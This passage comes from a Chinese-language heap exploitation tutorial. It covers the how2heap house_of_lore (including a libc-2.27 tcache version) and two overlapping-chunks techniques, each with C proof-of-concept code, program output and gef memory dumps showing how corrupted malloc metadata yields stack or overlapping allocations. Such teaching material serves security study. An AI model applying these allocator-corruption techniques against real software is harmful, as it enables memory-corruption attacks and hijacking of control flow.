  10. 0x603080: 0x4141414141414141 0x4141414141414141
  11. 0x603090: 0x0000000000000040 0x0000000000000020 <-- chunk p5
  12. 0x6030a0: 0x4141414141414141 0x4141414141414141
  13. 0x6030b0: 0x0000000000000000 0x0000000000000111 <-- chunk p2
  14. 0x6030c0: 0x0000000000000000 0x0000000000000000
  15. gef x/10gx &stack_buffer_2
  16. 0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2
  17. 0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1
  18. 0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1
  19. 0x7fffffffdc60: 0x00007ffff7dd1bf8 0x00007fffffffdc30 <-- fd->TAIL, bk->fake chunk 2
  20. 0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00
  21. gef heap bins unsorted
  22. [ Unsorted Bin for arena 'main_arena' ]
  23. [+] unsorted_bins[0]: fw=0x603050, bk=0x603050
  24. Chunk(addr=0x603060, size=0x40, flags=PREV_INUSE)

最后,再次 malloc 将返回 fake chunk 1 的地址,地址在栈上且我们能够控制。同时 small bin 变成这样:

  1. HEAD(undefined) <-> fake chunk 2 <-> TAIL
  1. gef x/10gx &stack_buffer_2
  2. 0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2
  3. 0x7fffffffdc40: 0x00007ffff7dd1bf8 0x0000000000400aed <-- fd->TAIL
  4. 0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- chunk 4
  5. 0x7fffffffdc60: 0x4141414141414141 0x4141414141414141
  6. 0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00

于是我们就成功地骗过了 malloc 在栈上分配了一个 chunk。

最后再想一下,其实最初的 victim chunk 使用 fast chunk 也是可以的,其释放后虽然是被加入到 fast bins 中,而不是 unsorted bin,但 malloc 之后,也会被整理到 small bins 里。自行尝试吧。

heap-use-after-free,所以上面我们用于修改 bk 指针的漏洞,应该就是一个 UAF 吧,当然溢出也是可以的:

  1. $ gcc -fsanitize=address -g house_of_lore.c
  2. $ ./a.out
  3. Allocated the victim (small) chunk: 0x60c00000bf80
  4. stack_buffer_1: 0x7ffd1fbc5cd0
  5. stack_buffer_2: 0x7ffd1fbc5c90
  6. Freeing the victim chunk 0x60c00000bf80, it will be inserted in the unsorted bin
  7. =================================================================
  8. ==6034==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c00000bf80 at pc 0x000000400eec bp 0x7ffd1fbc5bf0 sp 0x7ffd1fbc5be0
  9. READ of size 8 at 0x60c00000bf80 thread T0
  10. #0 0x400eeb in main /home/firmy/how2heap/house_of_lore.c:27
  11. #1 0x7febee33c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
  12. #2 0x400b38 in _start (/home/firmy/how2heap/a.out+0x400b38)

最后再给一个 libc-2.27 版本的:

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <stdint.h>
  5. void jackpot(){ puts("Nice jump d00d"); exit(0); }
  6. int main() {
  7. intptr_t *victim = malloc(0x80);
  8. // fill the tcache
  9. int *a[10];
  10. int i;
  11. for (i = 0; i < 7; i++) {
  12. a[i] = malloc(0x80);
  13. }
  14. for (i = 0; i < 7; i++) {
  15. free(a[i]);
  16. }
  17. memset(victim, 'A', 0x80);
  18. void *p5 = malloc(0x10);
  19. memset(p5, 'A', 0x10);
  20. intptr_t *victim_chunk = victim - 2;
  21. fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim);
  22. intptr_t* stack_buffer_1[4] = {0};
  23. intptr_t* stack_buffer_2[6] = {0};
  24. stack_buffer_1[0] = 0;
  25. stack_buffer_1[2] = victim_chunk;
  26. stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  27. stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
  28. stack_buffer_2[3] = (intptr_t*)stack_buffer_1; // 3675 bck->fd = bin;
  29. fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1);
  30. fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2);
  31. free((void*)victim);
  32. fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim);
  33. fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
  34. fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
  35. void *p2 = malloc(0x100);
  36. fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2);
  37. fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim);
  38. fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
  39. fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
  40. victim[1] = (intptr_t)stack_buffer_1;
  41. fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
  42. void *p3 = malloc(0x40);
  43. // empty the tcache
  44. for (i = 0; i < 7; i++) {
  45. a[i] = malloc(0x80);
  46. }
  47. char *p4 = malloc(0x80);
  48. memset(p4, 'A', 0x10);
  49. fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4);
  50. fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]);
  51. intptr_t sc = (intptr_t)jackpot;
  52. memcpy((p4+0xa8), &sc, 8);
  53. }
  1. $ gcc -g house_of_lore.c
  2. $ ./a.out
  3. Allocated the victim (small) chunk: 0x55674d75f260
  4. stack_buffer_1: 0x7ffff71fb1d0
  5. stack_buffer_2: 0x7ffff71fb1f0
  6. Freeing the victim chunk 0x55674d75f260, it will be inserted in the unsorted bin
  7. victim->fd: 0x7f1eba392b00
  8. victim->bk: 0x7f1eba392b00
  9. Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x55674d75f700
  10. The victim chunk 0x55674d75f260 will be inserted in front of the SmallBin
  11. victim->fd: 0x7f1eba392b80
  12. victim->bk: 0x7f1eba392b80
  13. Now emulating a vulnerability that can overwrite the victim->bk pointer
  14. This last malloc should return a chunk at the position injected in bin->bk: 0x7ffff71fb1e0
  15. The fd pointer of stack_buffer_2 has changed: 0x7ffff71fb1e0
  16. Nice jump d00d

overlapping_chunks

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <stdint.h>
  5. int main() {
  6. intptr_t *p1,*p2,*p3,*p4;
  7. p1 = malloc(0x90 - 8);
  8. p2 = malloc(0x90 - 8);
  9. p3 = malloc(0x80 - 8);
  10. memset(p1, 'A', 0x90 - 8);
  11. memset(p2, 'A', 0x90 - 8);
  12. memset(p3, 'A', 0x80 - 8);
  13. fprintf(stderr, "Now we allocate 3 chunks on the heap\n");
  14. fprintf(stderr, "p1=%p\np2=%p\np3=%p\n\n", p1, p2, p3);
  15. free(p2);
  16. fprintf(stderr, "Freeing the chunk p2\n");
  17. int evil_chunk_size = 0x111;
  18. int evil_region_size = 0x110 - 8;
  19. *(p2-1) = evil_chunk_size; // Overwriting the "size" field of chunk p2
  20. fprintf(stderr, "Emulating an overflow that can overwrite the size of the chunk p2.\n\n");
  21. p4 = malloc(evil_region_size);
  22. fprintf(stderr, "p4: %p ~ %p\n", p4, p4+evil_region_size);
  23. fprintf(stderr, "p3: %p ~ %p\n", p3, p3+0x80);
  24. fprintf(stderr, "\nIf we memset(p4, 'B', 0xd0), we have:\n");
  25. memset(p4, 'B', 0xd0);
  26. fprintf(stderr, "p4 = %s\n", (char *)p4);
  27. fprintf(stderr, "p3 = %s\n", (char *)p3);
  28. fprintf(stderr, "\nIf we memset(p3, 'C', 0x50), we have:\n");
  29. memset(p3, 'C', 0x50);
  30. fprintf(stderr, "p4 = %s\n", (char *)p4);
  31. fprintf(stderr, "p3 = %s\n", (char *)p3);
  32. }
  1. $ gcc -g overlapping_chunks.c
  2. $ ./a.out
  3. Now we allocate 3 chunks on the heap
  4. p1=0x1e2b010
  5. p2=0x1e2b0a0
  6. p3=0x1e2b130
  7. Freeing the chunk p2
  8. Emulating an overflow that can overwrite the size of the chunk p2.
  9. p4: 0x1e2b0a0 ~ 0x1e2b8e0
  10. p3: 0x1e2b130 ~ 0x1e2b530
  11. If we memset(p4, 'B', 0xd0), we have:
  12. p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
  13. p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
  14. If we memset(p3, 'C', 0x50), we have:
  15. p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
  16. p3 = CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa

这个比较简单,就是堆块重叠的问题。通过一个溢出漏洞,改写 unsorted bin 中空闲堆块的 size,改变下一次 malloc 可以返回的堆块大小。

首先分配三个堆块,然后释放掉中间的一个:

  1. gef x/60gx 0x602010-0x10
  2. 0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1
  3. 0x602010: 0x4141414141414141 0x4141414141414141
  4. 0x602020: 0x4141414141414141 0x4141414141414141
  5. 0x602030: 0x4141414141414141 0x4141414141414141
  6. 0x602040: 0x4141414141414141 0x4141414141414141
  7. 0x602050: 0x4141414141414141 0x4141414141414141
  8. 0x602060: 0x4141414141414141 0x4141414141414141
  9. 0x602070: 0x4141414141414141 0x4141414141414141
  10. 0x602080: 0x4141414141414141 0x4141414141414141
  11. 0x602090: 0x4141414141414141 0x0000000000000091 <-- chunk 2 [be freed]
  12. 0x6020a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
  13. 0x6020b0: 0x4141414141414141 0x4141414141414141
  14. 0x6020c0: 0x4141414141414141 0x4141414141414141
  15. 0x6020d0: 0x4141414141414141 0x4141414141414141
  16. 0x6020e0: 0x4141414141414141 0x4141414141414141
  17. 0x6020f0: 0x4141414141414141 0x4141414141414141
  18. 0x602100: 0x4141414141414141 0x4141414141414141
  19. 0x602110: 0x4141414141414141 0x4141414141414141
  20. 0x602120: 0x0000000000000090 0x0000000000000080 <-- chunk 3
  21. 0x602130: 0x4141414141414141 0x4141414141414141
  22. 0x602140: 0x4141414141414141 0x4141414141414141
  23. 0x602150: 0x4141414141414141 0x4141414141414141
  24. 0x602160: 0x4141414141414141 0x4141414141414141
  25. 0x602170: 0x4141414141414141 0x4141414141414141
  26. 0x602180: 0x4141414141414141 0x4141414141414141
  27. 0x602190: 0x4141414141414141 0x4141414141414141
  28. 0x6021a0: 0x4141414141414141 0x0000000000020e61 <-- top chunk
  29. 0x6021b0: 0x0000000000000000 0x0000000000000000
  30. 0x6021c0: 0x0000000000000000 0x0000000000000000
  31. 0x6021d0: 0x0000000000000000 0x0000000000000000
  32. gef heap bins unsorted
  33. [ Unsorted Bin for arena 'main_arena' ]
  34. [+] unsorted_bins[0]: fw=0x602090, bk=0x602090
  35. Chunk(addr=0x6020a0, size=0x90, flags=PREV_INUSE)

chunk 2 被放到了 unsorted bin 中,其 size 值为 0x90。

接下来,假设我们有一个溢出漏洞,可以改写 chunk 2 的 size 值,比如这里我们将其改为 0x111,也就是原本 chunk 2 和 chunk 3 的大小相加,最后一位是 1 表示 chunk 1 是在使用的,其实有没有都无所谓。

  1. gef heap bins unsorted
  2. [ Unsorted Bin for arena 'main_arena' ]
  3. [+] unsorted_bins[0]: fw=0x602090, bk=0x602090
  4. Chunk(addr=0x6020a0, size=0x110, flags=PREV_INUSE)

这时 unsorted bin 中的数据也更改了。

接下来 malloc 一个大小的等于 chunk 2 和 chunk 3 之和的 chunk 4,这会将 chunk 2 和 chunk 3 都包含进来:

  1. gef x/60gx 0x602010-0x10
  2. 0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1
  3. 0x602010: 0x4141414141414141 0x4141414141414141
  4. 0x602020: 0x4141414141414141 0x4141414141414141
  5. 0x602030: 0x4141414141414141 0x4141414141414141
  6. 0x602040: 0x4141414141414141 0x4141414141414141
  7. 0x602050: 0x4141414141414141 0x4141414141414141
  8. 0x602060: 0x4141414141414141 0x4141414141414141
  9. 0x602070: 0x4141414141414141 0x4141414141414141
  10. 0x602080: 0x4141414141414141 0x4141414141414141
  11. 0x602090: 0x4141414141414141 0x0000000000000111 <-- chunk 4
  12. 0x6020a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
  13. 0x6020b0: 0x4141414141414141 0x4141414141414141
  14. 0x6020c0: 0x4141414141414141 0x4141414141414141
  15. 0x6020d0: 0x4141414141414141 0x4141414141414141
  16. 0x6020e0: 0x4141414141414141 0x4141414141414141
  17. 0x6020f0: 0x4141414141414141 0x4141414141414141
  18. 0x602100: 0x4141414141414141 0x4141414141414141
  19. 0x602110: 0x4141414141414141 0x4141414141414141
  20. 0x602120: 0x0000000000000090 0x0000000000000080 <-- chunk 3
  21. 0x602130: 0x4141414141414141 0x4141414141414141
  22. 0x602140: 0x4141414141414141 0x4141414141414141
  23. 0x602150: 0x4141414141414141 0x4141414141414141
  24. 0x602160: 0x4141414141414141 0x4141414141414141
  25. 0x602170: 0x4141414141414141 0x4141414141414141
  26. 0x602180: 0x4141414141414141 0x4141414141414141
  27. 0x602190: 0x4141414141414141 0x4141414141414141
  28. 0x6021a0: 0x4141414141414141 0x0000000000020e61 <-- top chunk
  29. 0x6021b0: 0x0000000000000000 0x0000000000000000
  30. 0x6021c0: 0x0000000000000000 0x0000000000000000
  31. 0x6021d0: 0x0000000000000000 0x0000000000000000

这样,相当于 chunk 4 和 chunk 3 就重叠了,两个 chunk 可以互相修改对方的数据。就像上面的运行结果打印出来的那样。

overlapping_chunks_2

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <stdint.h>
  5. #include <malloc.h>
  6. int main() {
  7. intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
  8. unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
  9. int prev_in_use = 0x1;
  10. p1 = malloc(0x10);
  11. p2 = malloc(0x80);
  12. p3 = malloc(0x80);
  13. p4 = malloc(0x80);
  14. p5 = malloc(0x10);
  15. real_size_p1 = malloc_usable_size(p1);
  16. real_size_p2 = malloc_usable_size(p2);
  17. real_size_p3 = malloc_usable_size(p3);
  18. real_size_p4 = malloc_usable_size(p4);
  19. real_size_p5 = malloc_usable_size(p5);
  20. memset(p1, 'A', real_size_p1);
  21. memset(p2, 'A', real_size_p2);
  22. memset(p3, 'A', real_size_p3);
  23. memset(p4, 'A', real_size_p4);
  24. memset(p5, 'A', real_size_p5);
  25. fprintf(stderr, "Now we allocate 5 chunks on the heap\n\n");
  26. fprintf(stderr, "chunk p1: %p ~ %p\n", p1, (unsigned char *)p1+malloc_usable_size(p1));
  27. fprintf(stderr, "chunk p2: %p ~ %p\n", p2, (unsigned char *)p2+malloc_usable_size(p2));
  28. fprintf(stderr, "chunk p3: %p ~ %p\n", p3, (unsigned char *)p3+malloc_usable_size(p3));
  29. fprintf(stderr, "chunk p4: %p ~ %p\n", p4, (unsigned char *)p4+malloc_usable_size(p4));
  30. fprintf(stderr, "chunk p5: %p ~ %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));
  31. free(p4);
  32. fprintf(stderr, "\nLet's free the chunk p4\n\n");
  33. fprintf(stderr, "Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)\n\n");
  34. *(unsigned int *)((unsigned char *)p1 + real_size_p1) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; // BUG HERE
  35. free(p2);
  36. p6 = malloc(0x1b0 - 0x10);
  37. real_size_p6 = malloc_usable_size(p6);
  38. fprintf(stderr, "Allocating a new chunk 6: %p ~ %p\n\n", p6, (unsigned char *)p6+real_size_p6);
  39. fprintf(stderr, "Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)\n");
  40. fprintf(stderr, "p3 before = %s\n", (char *)p3);
  41. memset(p6, 'B', 0xd0);
  42. fprintf(stderr, "p3 after = %s\n", (char *)p3);
  43. }
  1. $ gcc -g overlapping_chunks_2.c
  2. $ ./a.out
  3. Now we allocate 5 chunks on the heap
  4. chunk p1: 0x18c2010 ~ 0x18c2028
  5. chunk p2: 0x18c2030 ~ 0x18c20b8
  6. chunk p3: 0x18c20c0 ~ 0x18c2148
  7. chunk p4: 0x18c2150 ~ 0x18c21d8
  8. chunk p5: 0x18c21e0 ~ 0x18c21f8
  9. Let's free the chunk p4
  10. Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)
  11. Allocating a new chunk 6: 0x18c2030 ~ 0x18c21d8
  12. Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)
  13. p3 before = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
  14. p3 after = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�

同样是堆块重叠的问题,前面那个是在 chunk 已经被 free,加入到了 unsorted bin 之后,再修改其 size 值,然后 malloc 一个不一样的 chunk 出来,而这里是在 free 之前修改 size 值,使 free 错误地修改了下一个 chunk 的 prev_size 值,导致中间的 chunk 强行合并。另外前面那个重叠是相邻堆块之间的,而这里是不相邻堆块之间的。

我们需要五个堆块,假设第 chunk 1 存在溢出,可以改写第二个 chunk 2 的数据,chunk 5 的作用是防止释放 chunk 4 后被合并进 top chunk。所以我们要重叠的区域是 chunk 2 到 chunk 4。首先将 chunk 4 释放掉,注意看 chunk 5 的 prev_size 值:

  1. gef x/70gx 0x602010-0x10
  2. 0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
  3. 0x602010: 0x4141414141414141 0x4141414141414141
  4. 0x602020: 0x4141414141414141 0x0000000000000091 <-- chunk 2
  5. 0x602030: 0x4141414141414141 0x4141414141414141
  6. 0x602040: 0x4141414141414141 0x4141414141414141
  7. 0x602050: 0x4141414141414141 0x4141414141414141
  8. 0x602060: 0x4141414141414141 0x4141414141414141
  9. 0x602070: 0x4141414141414141 0x4141414141414141
  10. 0x602080: 0x4141414141414141 0x4141414141414141
  11. 0x602090: 0x4141414141414141 0x4141414141414141
  12. 0x6020a0: 0x4141414141414141 0x4141414141414141
  13. 0x6020b0: 0x4141414141414141 0x0000000000000091 <-- chunk 3
  14. 0x6020c0: 0x4141414141414141 0x4141414141414141
  15. 0x6020d0: 0x4141414141414141 0x4141414141414141
  16. 0x6020e0: 0x4141414141414141 0x4141414141414141
  17. 0x6020f0: 0x4141414141414141 0x4141414141414141
  18. 0x602100: 0x4141414141414141 0x4141414141414141
  19. 0x602110: 0x4141414141414141 0x4141414141414141
  20. 0x602120: 0x4141414141414141 0x4141414141414141
  21. 0x602130: 0x4141414141414141 0x4141414141414141
  22. 0x602140: 0x4141414141414141 0x0000000000000091 <-- chunk 4 [be freed]
  23. 0x602150: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
  24. 0x602160: 0x4141414141414141 0x4141414141414141
  25. 0x602170: 0x4141414141414141 0x4141414141414141
  26. 0x602180: 0x4141414141414141 0x4141414141414141
  27. 0x602190: 0x4141414141414141 0x4141414141414141
  28. 0x6021a0: 0x4141414141414141 0x4141414141414141
  29. 0x6021b0: 0x4141414141414141 0x4141414141414141
  30. 0x6021c0: 0x4141414141414141 0x4141414141414141
  31. 0x6021d0: 0x0000000000000090 0x0000000000000020 <-- chunk 5 <-- prev_size
  32. 0x6021e0: 0x4141414141414141 0x4141414141414141
  33. 0x6021f0: 0x4141414141414141 0x0000000000020e11 <-- top chunk
  34. 0x602200: 0x0000000000000000 0x0000000000000000
  35. 0x602210: 0x0000000000000000 0x0000000000000000
  36. 0x602220: 0x0000000000000000 0x0000000000000000
  37. gef heap bins unsorted
  38. [ Unsorted Bin for arena 'main_arena' ]
  39. [+] unsorted_bins[0]: fw=0x602140, bk=0x602140
  40. Chunk(addr=0x602150, size=0x90, flags=PREV_INUSE)

free chunk 4 被放入 unsorted bin,大小为 0x90。

接下来是最关键的一步,利用 chunk 1 的溢出漏洞,将 chunk 2 的 size 值修改为 chunk 2 和 chunk 3 的大小之和,即 0x90+0x90+0x1=0x121,最后的 1 是标志位。这样当我们释放 chunk 2 的时候,malloc 根据这个被修改的 size 值,会以为 chunk 2 加上 chunk 3 的区域都是要释放的,然后就错误地修改了 chunk 5 的 prev_size。接着,它发现紧邻的一块 chunk 4 也是 free 状态,就把它俩合并在了一起,组成一个大 free chunk,放进 unsorted bin 中。

  1. gef x/70gx 0x602010-0x10
  2. 0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
  3. 0x602010: 0x4141414141414141 0x4141414141414141
  4. 0x602020: 0x4141414141414141 0x00000000000001b1 <-- chunk 2 [be freed] <-- unsorted bin
  5. 0x602030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
  6. 0x602040: 0x4141414141414141 0x4141414141414141
  7. 0x602050: 0x4141414141414141 0x4141414141414141
  8. 0x602060: 0x4141414141414141 0x4141414141414141
  9. 0x602070: 0x4141414141414141 0x4141414141414141
  10. 0x602080: 0x4141414141414141 0x4141414141414141
  11. 0x602090: 0x4141414141414141 0x4141414141414141
  12. 0x6020a0: 0x4141414141414141 0x4141414141414141
  13. 0x6020b0: 0x4141414141414141 0x0000000000000091 <-- chunk 3
  14. 0x6020c0: 0x4141414141414141 0x4141414141414141
  15. 0x6020d0: 0x4141414141414141 0x4141414141414141
  16. 0x6020e0: 0x4141414141414141 0x4141414141414141
  17. 0x6020f0: 0x4141414141414141 0x4141414141414141
  18. 0x602100: 0x4141414141414141 0x4141414141414141
  19. 0x602110: 0x4141414141414141 0x4141414141414141
  20. 0x602120: 0x4141414141414141 0x4141414141414141
  21. 0x602130: 0x4141414141414141 0x4141414141414141
  22. 0x602140: 0x4141414141414141 0x0000000000000091 <-- chunk 4 [be freed]
  23. 0x602150: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
  24. 0x602160: 0x4141414141414141 0x4141414141414141
  25. 0x602170: 0x4141414141414141 0x4141414141414141
  26. 0x602180: 0x4141414141414141 0x4141414141414141
  27. 0x602190: 0x4141414141414141 0x4141414141414141
  28. 0x6021a0: 0x4141414141414141 0x4141414141414141
  29. 0x6021b0: 0x4141414141414141 0x4141414141414141
  30. 0x6021c0: 0x4141414141414141 0x4141414141414141
  31. 0x6021d0: 0x00000000000001b0 0x0000000000000020 <-- chunk 5 <-- prev_size
  32. 0x6021e0: 0x4141414141414141 0x4141414141414141
  33. 0x6021f0: 0x4141414141414141 0x0000000000020e11 <-- top chunk
  34. 0x602200: 0x0000000000000000 0x0000000000000000
  35. 0x602210: 0x0000000000000000 0x0000000000000000
  36. 0x602220: 0x0000000000000000 0x0000000000000000
  37. gef heap bins unsorted
  38. [ Unsorted Bin for arena 'main_arena' ]
  39. [+] unsorted_bins[0]: fw=0x602020, bk=0x602020
  40. Chunk(addr=0x602030, size=0x1b0, flags=PREV_INUSE)

现在 unsorted bin 里的 chunk 的大小为 0x1b0,即 0x90*3。咦,所以 chunk 3 虽然是使用状态,但也被强行算在了 free chunk 的空间里了。

最后,如果我们分配一块大小为 0x1b0-0x10 的大空间,返回的堆块即是包括了 chunk 2 + chunk 3 + chunk 4 的大 chunk。这时 chunk 6 和 chunk 3 就重叠了,结果就像上面运行时打印出来的一样。